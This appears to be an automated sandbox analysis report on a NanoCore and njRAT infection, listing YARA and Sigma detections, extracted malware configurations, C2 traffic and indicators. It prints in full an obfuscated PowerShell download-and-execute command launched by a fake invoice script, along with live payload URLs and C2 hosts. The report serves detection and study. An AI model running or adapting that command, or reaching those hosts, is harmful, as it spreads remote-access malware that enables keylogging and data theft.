20.2.aspnet_compiler.exe.400000.0.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
20.2.aspnet_compiler.exe.400000.0.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
20.2.aspnet_compiler.exe.400000.0.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
20.2.aspnet_compiler.exe.3b7f99e.13.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x350b:$x1: NanoCore.ClientPluginHost 0x2840f:$x1: NanoCore.ClientPluginHost 0x3784f:$x1: NanoCore.ClientPluginHost 0x3525:$x2: IClientNetworkHost 0x28429:$x2: IClientNetworkHost 0x3788c:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b7f99e.13.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x350b:$x2: NanoCore.ClientPluginHost 0x2840f:$x2: NanoCore.ClientPluginHost 0x3784f:$x2: NanoCore.ClientPluginHost 0x52b6:$s4: PipeCreated 0x2b74c:$s4: PipeCreated 0x3aca2:$s4: PipeCreated 0x34f8:$s5: IClientLoggingHost 0x283fc:$s5: IClientLoggingHost 0x37879:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3814575.6.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0x23c50:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost 0x23c7d:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3814575.6.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0x23c50:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0x24d2b:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost 0x23c6a:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.3814575.6.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
20.2.aspnet_compiler.exe.3b7156e.12.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x5b99:$x1: NanoCore.ClientPluginHost 0x1193b:$x1: NanoCore.ClientPluginHost 0x3683f:$x1: NanoCore.ClientPluginHost 0x45c7f:$x1: NanoCore.ClientPluginHost 0x5bb3:$x2: IClientNetworkHost 0x11955:$x2: IClientNetworkHost 0x36859:$x2: IClientNetworkHost 0x45cbc:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.3b7156e.12.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x5b99:$x2: NanoCore.ClientPluginHost 0x1193b:$x2: NanoCore.ClientPluginHost 0x3683f:$x2: NanoCore.ClientPluginHost 0x45c7f:$x2: NanoCore.ClientPluginHost 0x6bce:$s4: PipeCreated 0x136e6:$s4: PipeCreated 0x39b7c:$s4: PipeCreated 0x490d2:$s4: PipeCreated 0x5b86:$s5: IClientLoggingHost 0x11928:$s5: IClientLoggingHost 0x3682c:$s5: IClientLoggingHost 0x45ca9:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.2849aac.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x4bbb:$x1: NanoCore.ClientPluginHost 0x14ded:$x1: NanoCore.ClientPluginHost 0x21f67:$x1: NanoCore.ClientPluginHost 0x2bdc7:$x1: NanoCore.ClientPluginHost 0x32ea4:$x1: NanoCore.ClientPluginHost 0x3913d:$x1: NanoCore.ClientPluginHost 0x4375b:$x1: NanoCore.ClientPluginHost 0x4db97:$x1: NanoCore.ClientPluginHost 0x58b89:$x1: NanoCore.ClientPluginHost 0x6493f:$x1: NanoCore.ClientPluginHost 0x70696:$x1: NanoCore.ClientPluginHost 0x4be5:$x2: IClientNetworkHost 0x14e1a:$x2: IClientNetworkHost 0x21fa0:$x2: IClientNetworkHost 0x2be00:$x2: IClientNetworkHost 0x39176:$x2: IClientNetworkHost 0x438b8:$x2: IClientNetworkHost 0x4dbd0:$x2: IClientNetworkHost 0x58ba3:$x2: IClientNetworkHost 0x64959:$x2: IClientNetworkHost 0x706d3:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.2849aac.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x4bbb:$x2: NanoCore.ClientPluginHost 0x14ded:$x2: NanoCore.ClientPluginHost 0x21f67:$x2: NanoCore.ClientPluginHost 0x2bdc7:$x2: NanoCore.ClientPluginHost 0x32ea4:$x2: NanoCore.ClientPluginHost 0x3913d:$x2: NanoCore.ClientPluginHost 0x4375b:$x2: NanoCore.ClientPluginHost 0x4db97:$x2: NanoCore.ClientPluginHost 0x58b89:$x2: NanoCore.ClientPluginHost 0x6493f:$x2: NanoCore.ClientPluginHost 0x70696:$x2: NanoCore.ClientPluginHost 0x15dbc:$s2: FileCommand 0x446b1:$s3: PipeExists 0x6a6b:$s4: PipeCreated 0x1a7be:$s4: PipeCreated 0x22084:$s4: PipeCreated 0x2becb:$s4: PipeCreated 0x32f82:$s4: PipeCreated 0x39258:$s4: PipeCreated 0x43951:$s4: PipeCreated 0x4dce2:$s4: PipeCreated
20.2.aspnet_compiler.exe.2849aac.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x4b96:$a: NanoCore 0x4bbb:$a: NanoCore 0x4c14:$a: NanoCore 0x14dc7:$a: NanoCore 0x14ded:$a: NanoCore 0x14e49:$a: NanoCore 0x21caf:$a: NanoCore 0x21d08:$a: NanoCore 0x21d3b:$a: NanoCore 0x21f67:$a: NanoCore 0x21fe3:$a: NanoCore 0x225fc:$a: NanoCore 0x22745:$a: NanoCore 0x22c19:$a: NanoCore 0x22f00:$a: NanoCore 0x22f17:$a: NanoCore 0x2bdc7:$a: NanoCore 0x2be43:$a: NanoCore 0x2e726:$a: NanoCore 0x32ea4:$a: NanoCore 0x32eee:$a: NanoCore
20.2.aspnet_compiler.exe.286a330.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x16e3:$x1: NanoCore.ClientPluginHost 0xb543:$x1: NanoCore.ClientPluginHost 0x12620:$x1: NanoCore.ClientPluginHost 0x188b9:$x1: NanoCore.ClientPluginHost 0x22ed7:$x1: NanoCore.ClientPluginHost 0x2d313:$x1: NanoCore.ClientPluginHost 0x38305:$x1: NanoCore.ClientPluginHost 0x440bb:$x1: NanoCore.ClientPluginHost 0x4fe12:$x1: NanoCore.ClientPluginHost 0x171c:$x2: IClientNetworkHost 0xb57c:$x2: IClientNetworkHost 0x188f2:$x2: IClientNetworkHost 0x23034:$x2: IClientNetworkHost 0x2d34c:$x2: IClientNetworkHost 0x3831f:$x2: IClientNetworkHost 0x440d5:$x2: IClientNetworkHost 0x4fe4f:$x2: IClientNetworkHost
20.2.aspnet_compiler.exe.286a330.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x16e3:$x2: NanoCore.ClientPluginHost 0xb543:$x2: NanoCore.ClientPluginHost 0x12620:$x2: NanoCore.ClientPluginHost 0x188b9:$x2: NanoCore.ClientPluginHost 0x22ed7:$x2: NanoCore.ClientPluginHost 0x2d313:$x2: NanoCore.ClientPluginHost 0x38305:$x2: NanoCore.ClientPluginHost 0x440bb:$x2: NanoCore.ClientPluginHost 0x4fe12:$x2: NanoCore.ClientPluginHost 0x23e2d:$s3: PipeExists 0x1800:$s4: PipeCreated 0xb647:$s4: PipeCreated 0x126fe:$s4: PipeCreated 0x189d4:$s4: PipeCreated 0x230cd:$s4: PipeCreated 0x2d45e:$s4: PipeCreated 0x3933a:$s4: PipeCreated 0x45e66:$s4: PipeCreated 0x53265:$s4: PipeCreated 0x16fd:$s5: IClientLoggingHost 0xb55d:$s5: IClientLoggingHost
20.2.aspnet_compiler.exe.286a330.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0x142b:$a: NanoCore 0x1484:$a: NanoCore 0x14b7:$a: NanoCore 0x16e3:$a: NanoCore 0x175f:$a: NanoCore 0x1d78:$a: NanoCore 0x1ec1:$a: NanoCore 0x2395:$a: NanoCore 0x267c:$a: NanoCore 0x2693:$a: NanoCore 0xb543:$a: NanoCore 0xb5bf:$a: NanoCore 0xdea2:$a: NanoCore 0x12620:$a: NanoCore 0x1266a:$a: NanoCore 0x132c4:$a: NanoCore 0x188b9:$a: NanoCore 0x18933:$a: NanoCore 0x22ed7:$a: NanoCore 0x22fc1:$a: NanoCore 0x23e38:$a: NanoCore
Click to see the 69 entries

Sigma Overview

AV Detection:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 7072, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

Sigma detected: NanoCore

Show sources

Source: File created

System Summary:

Sigma detected: Suspicious PowerShell Command Line

Show sources

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs', ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6628, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, ProcessId: 6756

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\3G1J49A6V_Invoice.vbs', ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6628, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $TRUMP ='https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');, ProcessId: 6756

Stealing of Sensitive Information:

Sigma detected: NanoCore

Show sources

Source: File created

Remote Access Functionality:

Sigma detected: NanoCore

Show sources

Source: File created

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp	Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "401b59fa-a7f2-4468-a03b-04e3bc48", "Group": "NEW JAN", "Domain1": "newjan.duckdns.org", "Domain2": "newjan.duckdns.org", "Port": 6700, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Disable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4"}
Source: 22.2.aspnet_compiler.exe.400000.0.unpack	Malware Configuration Extractor: Njrat {"Install Dir": "Windows", "Registry Value": "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Campaign ID": "HacKed", "Version": "v4.0", "Network Seprator": "\|-F-\|", "Host": "https://gro.sndkcud.armognad"}

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR

Yara detected Njrat

Show sources

Source: Yara match

File source: Process Memory Space: aspnet_compiler.exe PID: 5596, type: MEMORYSTR

Source: 22.2.aspnet_compiler.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen7
Source: 20.2.aspnet_compiler.exe.400000.0.unpack	Avira: Label: TR/Dropper.MSIL.Gen7
Source: 20.2.aspnet_compiler.exe.3828a18.7.unpack	Avira: Label: TR/NanoCore.fadte

Source: unknown	HTTPS traffic detected: 207.241.227.125:443 -> 192.168.2.4:49746 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.228.148:443 -> 192.168.2.4:49756 version: TLS 1.0

Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\MyNanoCore RemoteScripting\MyClientPlugin\obj\Debug\MyClientPluginNew.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbt_{& source: powershell.exe, 00000003.00000003.971380287.000001EA40435000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: aspnet_compiler.exe, 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp
Source:	Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: aspnet_compiler.exe, 00000014.00000002.1178170237.0000000003C41000.00000004.00000001.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49776 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49777 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49778 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49779 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49780 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49781 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49782 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49783 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49784 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49785 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49786 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49787 -> 185.244.30.23:6700
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.4:49789 -> 185.244.30.23:6700

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: newjan.duckdns.org
Source: Malware configuration extractor	URLs: https://gro.sndkcud.armognad

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: dangomra.duckdns.org
Source: unknown	DNS query: name: newjan.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.4:49776 -> 185.244.30.23:6700

Source: Joe Sandbox View	IP Address: 207.241.227.125 207.241.227.125
Source: Joe Sandbox View	IP Address: 207.241.228.148 207.241.228.148

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown	HTTPS traffic detected: 207.241.227.125:443 -> 192.168.2.4:49746 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.228.148:443 -> 192.168.2.4:49756 version: TLS 1.0

Source: unknown

DNS traffic detected: queries for: ia601405.us.archive.org

Source: powershell.exe, 00000003.00000003.971057099.000001EA3FEC1000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.
Source: powershell.exe, 00000003.00000003.971057099.000001EA3FEC1000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.repo
Source: powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: aspnet_compiler.exe, 00000014.00000002.1178034772.0000000003B0C000.00000004.00000001.sdmp	String found in binary or memory: http://google.com
Source: powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/05
Source: aspnet_compiler.exe, 00000016.00000002.1173461884.0000000002C61000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000003.970944930.000001EA40440000.00000004.00000001.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/0
Source: powershell.exe, 00000003.00000003.669481789.000001EA294EC000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: aspnet_compiler.exe, 00000016.00000002.1171008020.0000000000402000.00000040.00000001.sdmp, aspnet_compiler.exe, 00000016.00000002.1173461884.0000000002C61000.00000004.00000001.sdmp	String found in binary or memory: https://gro.sndkcud.armognad
Source: PowerShell_transcript.301389.iaYgJ3Zj.20210803203913.txt.3.dr	String found in binary or memory: https://ia601405.us.archive.org/30/items/all_20210803_20210803/ALL.txt
Source: Run.vbs.3.dr	String found in binary or memory: https://ia801408.us.archive.org/20/items/server_202108/Server.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: aspnet_compiler.exe, 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp

Binary or memory string: RegisterRawInputDevices

E-Banking Fraud:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.382d041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3828a18.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_compiler.exe.3814575.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1175964065.0000000003813000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1170915770.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173629355.00000000027C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1173893063.000000000282D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 7072, type: MEMORYSTR

Yara detected Njrat

Show sources

Source: Yara match

File source: Process Memory Space: aspnet_compiler.exe PID: 5596, type: MEMORYSTR

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 20.3.aspnet_compiler.exe.3c78ad1.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b6873f.11.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 22.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 20.2.aspnet_compiler.exe.3c5399f.15.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3c5399f.15.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b7156e.12.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2855cf4.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3c47574.16.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3a25794.10.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.2849aac.3.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3828a18.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.3.aspnet_compiler.exe.3c73e32.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.3.aspnet_compiler.exe.3c73e32.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 20.2.aspnet_compiler.exe.3b6873f.11.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
